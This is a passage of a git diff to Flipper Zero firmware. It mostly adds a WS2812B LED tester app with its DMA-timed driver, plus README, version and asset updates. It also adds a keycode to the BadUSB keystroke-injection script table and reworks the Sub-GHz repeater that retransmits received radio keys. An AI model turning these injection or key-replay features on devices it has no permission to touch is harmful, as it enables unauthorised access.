i++) { + rgb[i] = 0xFFFFFF; + } + break; + case 4: // RGBW + rgb[0] = 0xFF0000; + rgb[1] = 0x00FF00; + rgb[2] = 0x0000FF; + rgb[3] = 0xFFFFFF; + break; + case 5: // GBWR + rgb[3] = 0xFF0000; + rgb[0] = 0x00FF00; + rgb[1] = 0x0000FF; + rgb[2] = 0xFFFFFF; + break; + case 6: // BWRG + rgb[2] = 0xFF0000; + rgb[3] = 0x00FF00; + rgb[0] = 0x0000FF; + rgb[1] = 0xFFFFFF; + break; + case 7: // WRGB + rgb[0] = 0xFFFFFF; + rgb[1] = 0xFF0000; + rgb[2] = 0x00FF00; + rgb[3] = 0x0000FF; + break; + default: + break; + } + + // Rotate the pattern + for(size_t i = 0; i < offset; i++) { + uint32_t tmp = rgb[0]; + for(size_t j = 0; j < COUNT_OF(rgb) - 1; j++) { + rgb[j] = rgb[j + 1]; + } + rgb[COUNT_OF(rgb) - 1] = tmp; + } + + // If deinit, turn off the LEDs + if(event == LedTesterEventDeinit) { + for(size_t i = 0; i < COUNT_OF(rgb); i++) { + rgb[i] = 0; + } + } + + // Scale the brightness + for(size_t i = 0; i < COUNT_OF(rgb); i++) { + rgb[i] = (((rgb[i] >> 16) & 0xFF) * app->model->led_max_brightness / 100) << 16 | + (((rgb[i] >> 8) & 0xFF) * app->model->led_max_brightness / 100) << 8 | + ((rgb[i] & 0xFF) * app->model->led_max_brightness / 100); + // rgb[i] = (rgb[i] & 0x0F0F0F); // For Debugging, just use lower 4-bits. + } + + led_driver_set_pin(app->led_driver, pin); + + // Set the LEDs to the pattern + for(size_t i = 0; i < app->model->led_count; i++) { + led_driver_set_led(app->led_driver, i, rgb[i % COUNT_OF(rgb)]); + } + // Turn off any remaining LEDs + for(size_t i = app->model->led_count; i < MAX_LED_COUNT; i++) { + led_driver_set_led(app->led_driver, i, 0); + } + + led_driver_transmit(app->led_driver, true); + + if(event == LedTesterEventDeinit) { + led_driver_free(app->led_driver); + app->led_driver = NULL; + } + + return true; +} + +/** + * @brief Callback for entering the LED configuration settings. + * @details This function is called when the user enters the LED configuration settings. We + * start the periodic timer to update the LEDs & we signal initialized so the LEDs + * turn on to their default state. + * @param _context The context - unused +*/ +void led_tester_enter_leds_callback(void* _context) { + // _context is variable_item_list, but it doesn't expose the item, so we can't get the context. + UNUSED(_context); + // Hack, we use a global to access the app object. + LedTesterApp* app = (LedTesterApp*)global_app; + app->timer = furi_timer_alloc(led_tester_timer_callback, FuriTimerTypePeriodic, app); + furi_timer_start(app->timer, 250); + view_dispatcher_send_custom_event(app->view_dispatcher, LedTesterEventInitialized); + app->led_driver = + led_driver_alloc(MAX_LED_COUNT, setting_led_pin_values[app->model->led_pin_index]); +} + +/** + * @brief Callback for exiting the LED configuration settings. + * @details This function is called when the user exits the LED configuration settings. We + * stop the periodic timer to update the LEDs. + * @param _context The context - unused +*/ +void led_tester_exit_leds_callback(void* _context) { + // _context is variable_item_list, but it doesn't expose the item, so we can't get the context. + UNUSED(_context); + // Hack, we use a global to access the app object. + LedTesterApp* app = (LedTesterApp*)global_app; + furi_timer_stop(app->timer); + furi_timer_free(app->timer); + app->timer = NULL; + view_dispatcher_send_custom_event(app->view_dispatcher, LedTesterEventDeinit); +} + +/** + * @brief Allocate the led tester application. + * @details This function allocates the led tester application resources. + * @return LedTesterApp object. +*/ +static LedTesterApp* led_tester_app_alloc() { + LedTesterApp* app = (LedTesterApp*)malloc(sizeof(LedTesterApp)); + global_app = app; + + app->model = (LedTesterModel*)malloc(sizeof(LedTesterModel)); + + Gui* gui = furi_record_open(RECORD_GUI); + + app->view_dispatcher = view_dispatcher_alloc(); + view_dispatcher_enable_queue(app->view_dispatcher); + view_dispatcher_attach_to_gui(app->view_dispatcher, gui, ViewDispatcherTypeFullscreen); + view_dispatcher_set_event_callback_context(app->view_dispatcher, app); + + app->submenu = submenu_alloc(); + submenu_add_item( + app->submenu, "Test WS2812B", LedTesterSubmenuIndexLeds, led_tester_submenu_callback, app); + submenu_add_item( + app->submenu, "About", LedTesterSubmenuIndexAbout, led_tester_submenu_callback, app); + view_set_previous_callback( + submenu_get_view(app->submenu), led_tester_navigation_exit_callback); + view_dispatcher_add_view( + app->view_dispatcher, LedTesterViewSubmenu, submenu_get_view(app->submenu)); + view_dispatcher_set_event_callback_context(app->view_dispatcher, app); + view_dispatcher_set_custom_event_callback( + app->view_dispatcher, led_tester_custom_event_callback); + view_dispatcher_switch_to_view(app->view_dispatcher, LedTesterViewSubmenu); + + app->variable_item_list = variable_item_list_alloc(); + variable_item_list_set_enter_callback(app->variable_item_list, led_tester_item_clicked, app); + view_set_enter_callback( + variable_item_list_get_view(app->variable_item_list), led_tester_enter_leds_callback); + view_set_exit_callback( + variable_item_list_get_view(app->variable_item_list), led_tester_exit_leds_callback); + variable_item_list_reset(app->variable_item_list); + + // Pin + VariableItem* item = variable_item_list_add( + app->variable_item_list, + setting_led_pin_config_label, + COUNT_OF(setting_led_pin_names), + led_tester_setting_led_pin_change, + app); + uint8_t setting_led_pin_index = 0; + variable_item_set_current_value_index(item, setting_led_pin_index); + variable_item_set_current_value_text(item, setting_led_pin_names[setting_led_pin_index]); + app->model->led_pin_index = setting_led_pin_index; + + // Count + item = variable_item_list_add( + app->variable_item_list, + setting_led_count_config_label, + COUNT_OF(setting_led_count_names), + led_tester_setting_led_count_change, + app); + uint8_t setting_led_count_index = setting_led_count_default_index; + variable_item_set_current_value_index(item, setting_led_count_index); + variable_item_set_current_value_text(item, setting_led_count_names[setting_led_count_index]); + app->model->led_count = setting_led_count_values[setting_led_count_index]; + + // Pattern + item = variable_item_list_add( + app->variable_item_list, + setting_led_pattern_config_label, + COUNT_OF(setting_led_pattern_names), + led_tester_setting_led_pattern_change, + app); + uint8_t setting_led_pattern_index = 0; + variable_item_set_current_value_index(item, setting_led_pattern_index); + variable_item_set_current_value_text( + item, setting_led_pattern_names[setting_led_pattern_index]); + app->model->led_pattern_index = setting_led_pattern_index; + + // Speed + item = variable_item_list_add( + app->variable_item_list, + setting_led_speed_config_label, + COUNT_OF(setting_led_speed_names), + led_tester_setting_led_speed_change, + app); + uint8_t setting_led_speed_index = 0; + variable_item_set_current_value_index(item, setting_led_speed_index); + variable_item_set_current_value_text(item, setting_led_speed_names[setting_led_speed_index]); + app->model->led_divisor = setting_led_speed_values[setting_led_speed_index]; + + // Brightness + item = variable_item_list_add( + app->variable_item_list, + setting_led_brightness_config_label, + COUNT_OF(setting_led_brightness_names), + led_tester_setting_led_brightness_change, + app); + uint8_t setting_led_brightness_index = 3; + variable_item_set_current_value_index(item, setting_led_brightness_index); + variable_item_set_current_value_text( + item, setting_led_brightness_names[setting_led_brightness_index]); + app->model->led_max_brightness = setting_led_brightness_values[setting_led_brightness_index]; + + // 5-volt pin + item = variable_item_list_add( + app->variable_item_list, + setting_5v_config_label, + COUNT_OF(setting_5v_names), + led_tester_setting_5v_change, + app); + uint8_t setting_5v_index = 0; + variable_item_set_current_value_index(item, setting_5v_index); + variable_item_set_current_value_text(item, setting_5v_names[setting_5v_index]); + app->model->enable_5v = setting_5v_values[setting_5v_index]; + if(app->model->enable_5v) { + led_tester_5v_power_on(); + } + + view_set_previous_callback( + variable_item_list_get_view(app->variable_item_list), + led_tester_navigation_submenu_callback); + view_dispatcher_add_view( + app->view_dispatcher, + LedTesterViewLeds, + variable_item_list_get_view(app->variable_item_list)); + + app->widget_about = widget_alloc(); + widget_add_text_scroll_element( + app->widget_about, + 0, + 0, + 128, + 64, + "This is a WS2812B LED tester\nVersion 1.7\nConnect WS2812B LED data\nwire to GPIO pin on Flipper.\n\nThe 3V3 pin has a 1200mA\nmax current (~4 watts). The\n5V pin has a 1000mA max\ncurrent (5 watts).\n\nauthors: @codeallnight and\nZ3BRO!\n\nhttps://discord.com/invite/NsjCvqwPAd\nhttps://youtube.com/@MrDerekJamison\n\n"); + view_set_previous_callback( + widget_get_view(app->widget_about), led_tester_navigation_submenu_callback); + view_dispatcher_add_view( + app->view_dispatcher, LedTesterViewAbout, widget_get_view(app->widget_about)); + + return app; +} + +/** + * @brief Free the led tester application. + * @details This function frees the led tester application resources. + * @param app The led tester application object. +*/ +static void led_tester_app_free(LedTesterApp* app) { + view_dispatcher_remove_view(app->view_dispatcher, LedTesterViewAbout); + widget_free(app->widget_about); + view_dispatcher_remove_view(app->view_dispatcher, LedTesterViewLeds); + variable_item_list_free(app->variable_item_list); + view_dispatcher_remove_view(app->view_dispatcher, LedTesterViewSubmenu); + submenu_free(app->submenu); + view_dispatcher_free(app->view_dispatcher); + furi_record_close(RECORD_GUI); + free(app); +} + +/** + * @brief Main function for led tester application. + * @details This function is the entry point for the led tester application. It should be defined in + * application.fam as the entry_point setting. + * @param _p Input parameter - unused + * @return 0 - Success +*/ +int32_t ws2812b_led_tester_app(void* _p) { + UNUSED(_p); + LedTesterApp* app = led_tester_app_alloc(); + view_dispatcher_run(app->view_dispatcher); + led_tester_app_free(app); + return 0; +} \ No newline at end of file diff --git a/applications/external/ws2812b_tester/app.png b/applications/external/ws2812b_tester/app.png new file mode 100644 index 00000000000..8048c799e85 Binary files /dev/null and b/applications/external/ws2812b_tester/app.png differ diff --git a/applications/external/ws2812b_tester/application.fam b/applications/external/ws2812b_tester/application.fam new file mode 100644 index 00000000000..1833b223857 --- /dev/null +++ b/applications/external/ws2812b_tester/application.fam @@ -0,0 +1,13 @@ +App( + appid="ws2812b_tester_app", + name="WS2812B LED Tester", + apptype=FlipperAppType.EXTERNAL, + entry_point="ws2812b_led_tester_app", + stack_size=4 * 1024, + fap_icon="app.png", + fap_category="GPIO", + fap_author="jamisonderek", + fap_weburl="https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio/ws2812b_tester", + fap_version=(1, 8), + fap_description="WS2812B LED Tester App. This is intended to test that WS2812B LEDs are functioning correctly.", +) diff --git a/applications/external/ws2812b_tester/led_driver.c b/applications/external/ws2812b_tester/led_driver.c new file mode 100644 index 00000000000..08523d17ccd --- /dev/null +++ b/applications/external/ws2812b_tester/led_driver.c @@ -0,0 +1,283 @@ +/** + * @file led_driver.c + * @brief WS2812B LED Driver + * @details This driver uses DMA and TIM2 AAR to drive WS2812B LEDs. There is no circular buffer, + * so all of the data is loaded into memory at the beginning. We are able to driver 256 LEDs. + * +*/ + +#include + +#include "led_driver.h" + +// We store the HIGH/LOW durations (2 values) for each color bit (24 bits per LED) +#define LED_DRIVER_BUFFER_SIZE (MAX_LED_COUNT * 2 * 24) +// We use a setinel value to figure out when the timer is complete. +#define LED_DRIVER_TIMER_SETINEL 0xFFFFU + +/** 64 transitions per us @ 64MHz. Our timing is in NANO_SECONDS */ +#define LED_DRIVER_TIMER_NANOSECOND (1000U / (SystemCoreClock / 1000000U)) +// Timings for WS2812B +#define LED_DRIVER_T0H 400U +#define LED_DRIVER_T1H 800U +#define LED_DRIVER_T0L 850U +#define LED_DRIVER_T1L 450U +#define LED_DRIVER_TRESETL 55 * 1000U + +// Wait for 35ms for the DMA to complete. NOTE: 1000 leds*(850ns+450ns)*24 = 32ms +#define LED_DRIVER_SETINEL_WAIT_MS 35 + +struct LedDriver { + LL_DMA_InitTypeDef dma_gpio_update; + LL_DMA_InitTypeDef dma_led_transition_timer; + + const GpioPin* gpio; + uint32_t gpio_buf[2]; // On/Off for GPIO + + uint16_t timer_buffer[LED_DRIVER_BUFFER_SIZE + 2]; + uint32_t write_pos; + uint32_t read_pos; + bool dirty; + + uint32_t count_leds; + uint32_t* led_data; +}; + +static void led_driver_init_dma_gpio_update(LedDriver* led_driver, const GpioPin* gpio) { + led_driver->gpio = gpio; + + // Memory to Peripheral + led_driver->dma_gpio_update.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + // Peripheral (GPIO - We populate GPIO port's BSRR register) + led_driver->dma_gpio_update.PeriphOrM2MSrcAddress = (uint32_t)&gpio->port->BSRR; + led_driver->dma_gpio_update.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + led_driver->dma_gpio_update.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; + // Memory (State to set GPIO) + led_driver->dma_gpio_update.MemoryOrM2MDstAddress = (uint32_t)led_driver->gpio_buf; + led_driver->dma_gpio_update.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + led_driver->dma_gpio_update.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; + // Data + led_driver->dma_gpio_update.Mode = LL_DMA_MODE_CIRCULAR; + led_driver->dma_gpio_update.NbData = 2; // We cycle between two (HIGH/LOW)values + // When to perform data exchange + led_driver->dma_gpio_update.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; + led_driver->dma_gpio_update.Priority = LL_DMA_PRIORITY_VERYHIGH; +} + +static void led_driver_init_dma_led_transition_timer(LedDriver* led_driver) { + // Timer that triggers based on user data. + led_driver->dma_led_transition_timer.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + // Peripheral (Timer - We populate TIM2's ARR register) + led_driver->dma_led_transition_timer.PeriphOrM2MSrcAddress = (uint32_t)&TIM2->ARR; + led_driver->dma_led_transition_timer.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + led_driver->dma_led_transition_timer.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; + // Memory (Timings) + led_driver->dma_led_transition_timer.MemoryOrM2MDstAddress = + (uint32_t)led_driver->timer_buffer; + led_driver->dma_led_transition_timer.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + led_driver->dma_led_transition_timer.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_HALFWORD; + // Data + led_driver->dma_led_transition_timer.Mode = LL_DMA_MODE_NORMAL; + led_driver->dma_led_transition_timer.NbData = LED_DRIVER_BUFFER_SIZE; + // When to perform data exchange + led_driver->dma_led_transition_timer.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; + led_driver->dma_led_transition_timer.Priority = LL_DMA_PRIORITY_HIGH; +} + +LedDriver* led_driver_alloc(int count_leds, const GpioPin* gpio) { + furi_assert(gpio); + furi_assert(count_leds && count_leds <= MAX_LED_COUNT); + + LedDriver* led_driver = malloc(sizeof(LedDriver)); + led_driver_init_dma_gpio_update(led_driver, gpio); + led_driver_init_dma_led_transition_timer(led_driver); + led_driver->led_data = malloc(MAX_LED_COUNT * sizeof(uint32_t)); + led_driver->dirty = true; + + led_driver->count_leds = count_leds; + + return led_driver; +} + +void led_driver_free(LedDriver* led_driver) { + furi_assert(led_driver); + + free(led_driver->led_data); + free(led_driver); +} + +void led_driver_set_pin(LedDriver* led_driver, const GpioPin* gpio) { + if(led_driver->gpio == gpio) { + return; + } + + led_driver_init_dma_gpio_update(led_driver, gpio); + led_driver->dirty = true; +} + +uint32_t led_driver_set_led(LedDriver* led_driver, uint32_t index, uint32_t rrggbb) { + furi_assert(led_driver); + if(index >= led_driver->count_leds) { + return 0xFFFFFFFF; + } + + uint32_t previous = led_driver->led_data[index]; + led_driver->led_data[index] = rrggbb; + led_driver->dirty |= previous != rrggbb; + + return previous; +} + +uint32_t led_driver_get_led(LedDriver* led_driver, uint32_t index) { + furi_assert(led_driver); + if(index >= led_driver->count_leds) { + return 0xFFFFFFFF; + } + + return led_driver->led_data[index]; +} + +static void led_driver_start_dma(LedDriver* led_driver) { + furi_assert(led_driver); + + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_1, &led_driver->dma_gpio_update); + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_2, &led_driver->dma_led_transition_timer); + + LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); + LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); +} + +static void led_driver_start_timer() { + furi_hal_bus_enable(FuriHalBusTIM2); + + LL_TIM_SetCounterMode(TIM2, LL_TIM_COUNTERMODE_UP); + LL_TIM_SetClockDivision(TIM2, LL_TIM_CLOCKDIVISION_DIV1); + LL_TIM_SetPrescaler(TIM2, 0); + // Updated by led_driver->dma_led_transition_timer.PeriphOrM2MSrcAddress + LL_TIM_SetAutoReload(TIM2, LED_DRIVER_TIMER_SETINEL); + LL_TIM_SetCounter(TIM2, 0); + + LL_TIM_EnableCounter(TIM2); + LL_TIM_EnableUpdateEvent(TIM2); + LL_TIM_EnableDMAReq_UPDATE(TIM2); + LL_TIM_GenerateEvent_UPDATE(TIM2); +} + +static void led_driver_stop_timer() { + LL_TIM_DisableCounter(TIM2); + LL_TIM_DisableUpdateEvent(TIM2); + LL_TIM_DisableDMAReq_UPDATE(TIM2); + furi_hal_bus_disable(FuriHalBusTIM2); +} + +static void led_driver_stop_dma() { + LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_1); + LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); + LL_DMA_ClearFlag_TC1(DMA1); + LL_DMA_ClearFlag_TC2(DMA1); +} + +static void led_driver_spin_lock(LedDriver* led_driver) { + const uint32_t prev_timer = DWT->CYCCNT; + const uint32_t wait_time = LED_DRIVER_SETINEL_WAIT_MS * SystemCoreClock / 1000; + + do { + /* Make sure it's started (allow 100 ticks), but then check for sentinel value. */ + if(TIM2->ARR == LED_DRIVER_TIMER_SETINEL && DWT->CYCCNT - prev_timer > 100) { + break; + } + + // 0xFF is fairly quick, make sure we didn't miss it. + if((DWT->CYCCNT - prev_timer > wait_time)) { + FURI_LOG_D( + "Demo", "0xFF not found (ARR 0x%08lx, read %lu)", TIM2->ARR, led_driver->read_pos); + led_driver->read_pos = led_driver->write_pos - 1; + break; + } + } while(true); +} + +static void led_driver_add_period_length(LedDriver* led_driver, uint32_t length) { + led_driver->timer_buffer[led_driver->write_pos++] = length; + led_driver->timer_buffer[led_driver->write_pos] = LED_DRIVER_TIMER_SETINEL; +} + +static void led_driver_add_period(LedDriver* led_driver, uint16_t duration_ns) { + furi_assert(led_driver); + + uint32_t reload_value = duration_ns / LED_DRIVER_TIMER_NANOSECOND; + + if(reload_value > 255) { + FURI_LOG_E("Demo", "reload_value: %ld", reload_value); + } + furi_check(reload_value > 0); + furi_check(reload_value < 256 * 256); + + led_driver_add_period_length(led_driver, reload_value - 1); +} + +static void led_driver_add_color(LedDriver* led_driver, uint32_t rrggbb) { + UNUSED(rrggbb); + + uint32_t ggrrbb = (rrggbb & 0xFF) | ((rrggbb & 0xFF00) << 8) | ((rrggbb & 0xFF0000) >> 8); + + for(int i = 23; i >= 0; i--) { + if(ggrrbb & (1 << i)) { + led_driver_add_period(led_driver, LED_DRIVER_T0L); + led_driver_add_period(led_driver, LED_DRIVER_T1L); + } else { + led_driver_add_period(led_driver, LED_DRIVER_T0H); + led_driver_add_period(led_driver, LED_DRIVER_T1H); + } + } +} + +void led_driver_transmit(LedDriver* led_driver, bool transmit_if_clean) { + furi_assert(led_driver); + + furi_assert(!led_driver->read_pos); + furi_assert(!led_driver->write_pos); + + if(!transmit_if_clean && !led_driver->dirty) { + FURI_LOG_D("LED_DRIVER", "Skipping transmit"); + return; + } + FURI_LOG_D("LED_DRIVER", "Transmit"); + + furi_hal_gpio_init(led_driver->gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_write(led_driver->gpio, false); + + const uint32_t bit_set = led_driver->gpio->pin << GPIO_BSRR_BS0_Pos; + const uint32_t bit_reset = led_driver->gpio->pin << GPIO_BSRR_BR0_Pos; + + // Always start with LOW (reset) + led_driver->gpio_buf[0] = bit_reset; + led_driver->gpio_buf[1] = bit_set; + + for(size_t i = 0; i < LED_DRIVER_BUFFER_SIZE; i++) { + led_driver->timer_buffer[i] = LED_DRIVER_TIMER_SETINEL; + } + + led_driver_add_period(led_driver, LED_DRIVER_TRESETL); + for(size_t i = 0; i < led_driver->count_leds; i++) { + led_driver_add_color(led_driver, led_driver->led_data[i]); + } + led_driver->dma_led_transition_timer.NbData = led_driver->write_pos + 1; + + FURI_CRITICAL_ENTER(); + + led_driver_start_dma(led_driver); + led_driver_start_timer(); + + led_driver_spin_lock(led_driver); + + led_driver_stop_timer(); + led_driver_stop_dma(); + + FURI_CRITICAL_EXIT(); + + memset(led_driver->timer_buffer, LED_DRIVER_TIMER_SETINEL, LED_DRIVER_BUFFER_SIZE); + led_driver->read_pos = 0; + led_driver->write_pos = 0; + led_driver->dirty = false; +} diff --git a/applications/external/ws2812b_tester/led_driver.h b/applications/external/ws2812b_tester/led_driver.h new file mode 100644 index 00000000000..9dfba6aa9b1 --- /dev/null +++ b/applications/external/ws2812b_tester/led_driver.h @@ -0,0 +1,13 @@ +#include +#include + +#define MAX_LED_COUNT 512 + +typedef struct LedDriver LedDriver; + +LedDriver* led_driver_alloc(int count_leds, const GpioPin* gpio); +void led_driver_free(LedDriver* led_driver); +void led_driver_set_pin(LedDriver* led_driver, const GpioPin* gpio); +uint32_t led_driver_set_led(LedDriver* led_driver, uint32_t index, uint32_t rrggbb); +uint32_t led_driver_get_led(LedDriver* led_driver, uint32_t index); +void led_driver_transmit(LedDriver* led_driver, bool transmit_if_clean); diff --git a/applications/external/xremote/screens/flipperzero.png b/applications/external/xremote/.flipcorg/banner.png similarity index 100% rename from applications/external/xremote/screens/flipperzero.png rename to applications/external/xremote/.flipcorg/banner.png diff --git a/applications/external/xremote/screens/horizontal/screen1.png b/applications/external/xremote/.flipcorg/gallery/screen1.png similarity index 100% rename from applications/external/xremote/screens/horizontal/screen1.png rename to applications/external/xremote/.flipcorg/gallery/screen1.png diff --git a/applications/external/xremote/screens/horizontal/screen2.png b/applications/external/xremote/.flipcorg/gallery/screen2.png similarity index 100% rename from applications/external/xremote/screens/horizontal/screen2.png rename to applications/external/xremote/.flipcorg/gallery/screen2.png diff --git a/applications/external/xremote/screens/horizontal/screen3.png b/applications/external/xremote/.flipcorg/gallery/screen3.png similarity index 100% rename from applications/external/xremote/screens/horizontal/screen3.png rename to applications/external/xremote/.flipcorg/gallery/screen3.png diff --git a/applications/external/xremote/screens/horizontal/screen4.png b/applications/external/xremote/.flipcorg/gallery/screen4.png similarity index 100% rename from applications/external/xremote/screens/horizontal/screen4.png rename to applications/external/xremote/.flipcorg/gallery/screen4.png diff --git a/applications/external/xremote/screens/horizontal/screen5.png b/applications/external/xremote/.flipcorg/gallery/screen5.png similarity index 100% rename from applications/external/xremote/screens/horizontal/screen5.png rename to applications/external/xremote/.flipcorg/gallery/screen5.png diff --git a/applications/external/xremote/screens/horizontal/screen6.png b/applications/external/xremote/.flipcorg/gallery/screen6.png similarity index 100% rename from applications/external/xremote/screens/horizontal/screen6.png rename to applications/external/xremote/.flipcorg/gallery/screen6.png diff --git a/applications/external/xremote/screens/horizontal/screen7.png b/applications/external/xremote/.flipcorg/gallery/screen7.png similarity index 100% rename from applications/external/xremote/screens/horizontal/screen7.png rename to applications/external/xremote/.flipcorg/gallery/screen7.png diff --git a/applications/external/xremote/README.md b/applications/external/xremote/README.md index ebca0507f76..7e9d29f6bb5 100644 --- a/applications/external/xremote/README.md +++ b/applications/external/xremote/README.md @@ -1,6 +1,6 @@

Advanced IR Remote App for Flipper Device

- XRemote + XRemote

## Idea @@ -60,9 +60,9 @@ Button name | Description ## Installation options -1. Install the latest stable version directly from the [application catalog](https://lab.flipper.net/apps/flipper_xremote). - -2. Manually install using `.fap` file: +1. Install the latest stable version directly from the official [application catalog](https://lab.flipper.net/apps/flipper_xremote). +2. Install on any firmware from the community driven application catalog [FlipC](https://flipc.org/kala13x/flipper-xremote). +3. Manually install using `.fap` file: - Download the `.fap` file from the [Releases](https://github.com/kala13x/flipper-xremote/releases) section of this repository. - Write the `.fap` file to an SD card using [qFlipper](https://docs.flipper.net/qflipper) or any your preferred SD card writer. diff --git a/applications/external/zero/application.fam b/applications/external/zero/application.fam index ca2a729ea08..64f790fa8df 100644 --- a/applications/external/zero/application.fam +++ b/applications/external/zero/application.fam @@ -9,6 +9,6 @@ App( fap_icon_assets="images", fap_author="Racso", fap_weburl="https://github.com/Racso/fzero-apps", - fap_version="1.3", + fap_version="1.4", fap_description="ZERO! Get rid of all your cards before your opponents do!", ) diff --git a/applications/external/zero/release/changelog.md b/applications/external/zero/release/changelog.md index b9b92a596f7..1b5ece6cf38 100644 --- a/applications/external/zero/release/changelog.md +++ b/applications/external/zero/release/changelog.md @@ -1,3 +1,6 @@ +## v1.4 +- Fixed error when updating to the latest API version. + ## v1.3 - Replaced player letters with icons. diff --git a/applications/external/zero/scripts/wave/scene_management.h b/applications/external/zero/scripts/wave/scene_management.h index 2a2eb802a89..9ef4df59947 100644 --- a/applications/external/zero/scripts/wave/scene_management.h +++ b/applications/external/zero/scripts/wave/scene_management.h @@ -1,3 +1,5 @@ +#pragma once + #include #include @@ -28,4 +30,4 @@ void scene_manager_register_scene(SceneManager* sm, int id, Scene* scene); void scene_manager_set_scene(SceneManager* sm, int id); void scene_manager_tick(SceneManager* sm); int scene_manager_get_current_scene_id(SceneManager* sm); -bool scene_manager_has_scene(SceneManager* sm); \ No newline at end of file +bool scene_manager_has_scene(SceneManager* sm); diff --git a/applications/main/bad_usb/helpers/ducky_script_keycodes.c b/applications/main/bad_usb/helpers/ducky_script_keycodes.c index da2fc22f79f..b440a1aaffc 100644 --- a/applications/main/bad_usb/helpers/ducky_script_keycodes.c +++ b/applications/main/bad_usb/helpers/ducky_script_keycodes.c @@ -10,6 +10,7 @@ typedef struct { static const DuckyKey ducky_keys[] = { {"CTRL-ALT", KEY_MOD_LEFT_CTRL | KEY_MOD_LEFT_ALT}, {"CTRL-SHIFT", KEY_MOD_LEFT_CTRL | KEY_MOD_LEFT_SHIFT}, + {"CTRL-ENTER", KEY_MOD_LEFT_CTRL | HID_KEYBOARD_RETURN}, {"ALT-SHIFT", KEY_MOD_LEFT_ALT | KEY_MOD_LEFT_SHIFT}, {"ALT-GUI", KEY_MOD_LEFT_ALT | KEY_MOD_LEFT_GUI}, {"GUI-SHIFT", KEY_MOD_LEFT_GUI | KEY_MOD_LEFT_SHIFT}, diff --git a/applications/main/subghz/scenes/subghz_scene_receiver.c b/applications/main/subghz/scenes/subghz_scene_receiver.c index aa8f9e825ba..1a2cac7919c 100644 --- a/applications/main/subghz/scenes/subghz_scene_receiver.c +++ b/applications/main/subghz/scenes/subghz_scene_receiver.c @@ -162,20 +162,12 @@ static void subghz_scene_add_to_history_callback( FURI_LOG_E(TAG, "Missing TE"); return; } else { + //Save our TX variables now, start TX on the next tick event so the we arent tangled with the worker. subghz->RepeaterTXLength = tmpTe; - subghz->RepeaterStartTime = furi_get_tick(); - FURI_LOG_I(TAG, "Key Received, Transmitting now."); - } - - //CC1101 Stop RX -> Start TX - if(!subghz_tx_start(subghz, subghz->repeater_tx)) { - subghz_txrx_rx_start(subghz->txrx); - subghz_txrx_hopper_unpause(subghz->txrx); - subghz->state_notifications = SubGhzNotificationStateRx; - } else { subghz->state_notifications = SubGhzNotificationStateTx; + notification_message(subghz->notifications, &subghz_sequence_repeat); + FURI_LOG_I(TAG, "Key Received, Transmitting now."); } - notification_message(subghz->notifications, &subghz_sequence_repeat); } else { if(subghz_history_add_to_history(history, decoder_base, &preset)) { furi_string_reset(item_name); @@ -360,7 +352,6 @@ bool subghz_scene_receiver_on_event(void* context, SceneManagerEvent event) { consumed = true; break; case SubGhzCustomEventViewReceiverOKLong: - //CC1101 Stop RX subghz_txrx_stop(subghz->txrx); subghz_txrx_hopper_pause(subghz->txrx); @@ -377,6 +368,7 @@ bool subghz_scene_receiver_on_event(void* context, SceneManagerEvent event) { } consumed = true; break; + case SubGhzCustomEventViewReceiverOKRelease: if(subghz->state_notifications == SubGhzNotificationStateTx) { //CC1101 Stop Tx -> Start RX @@ -390,6 +382,7 @@ bool subghz_scene_receiver_on_event(void* context, SceneManagerEvent event) { consumed = true; break; } + case SubGhzCustomEventViewReceiverDeleteItem: subghz->state_notifications = SubGhzNotificationStateRx; @@ -440,44 +433,58 @@ bool subghz_scene_receiver_on_event(void* context, SceneManagerEvent event) { break; } } else if(event.type == SceneManagerEventTypeTick) { - if(subghz->RepeaterTXLength > 0) { - uint32_t tmp = furi_get_tick() - subghz->RepeaterStartTime; - uint8_t RepeatMultiplier = (subghz->repeater == SubGhzRepeaterOnShort) ? 1 : //No repeats, 1 key Tx + if(subghz->state_notifications != SubGhzNotificationStateTx) { + //Do the receive stuff, the repeater TX logic is here now! + if(subghz_txrx_hopper_get_state(subghz->txrx) != SubGhzHopperStateOFF) { + subghz_txrx_hopper_update(subghz->txrx); + subghz_scene_receiver_update_statusbar(subghz); + } + + SubGhzThresholdRssiData ret_rssi = subghz_threshold_get_rssi_data( + subghz->threshold_rssi, subghz_txrx_radio_device_get_rssi(subghz->txrx)); + + subghz_receiver_rssi(subghz->subghz_receiver, ret_rssi.rssi); + subghz_protocol_decoder_bin_raw_data_input_rssi( + (SubGhzProtocolDecoderBinRAW*)subghz_txrx_get_decoder(subghz->txrx), + ret_rssi.rssi); + } else if(subghz->repeater != SubGhzRepeaterOff) { + //Start or Stop TX? + if(subghz->RepeaterStartTime == 0) { + if(subghz->RepeaterTXLength > + 0) { //We could be holding TX on a key we received, switched to repeater, and TXed wih keys on the list. + subghz->RepeaterStartTime = furi_get_tick(); + + //CC1101 Stop RX -> Start TX + if(!subghz_tx_start(subghz, subghz->repeater_tx)) { + subghz_txrx_rx_start(subghz->txrx); + subghz_txrx_hopper_unpause(subghz->txrx); + subghz->state_notifications = SubGhzNotificationStateRx; + } + } + } else { + uint32_t tmp = furi_get_tick() - subghz->RepeaterStartTime; + uint8_t RepeatMultiplier = (subghz->repeater == SubGhzRepeaterOnShort) ? 1 : //No repeats, 1 key Tx (subghz->repeater == SubGhzRepeaterOnLong) ? 7 : //Long Repeat 3; //Normal 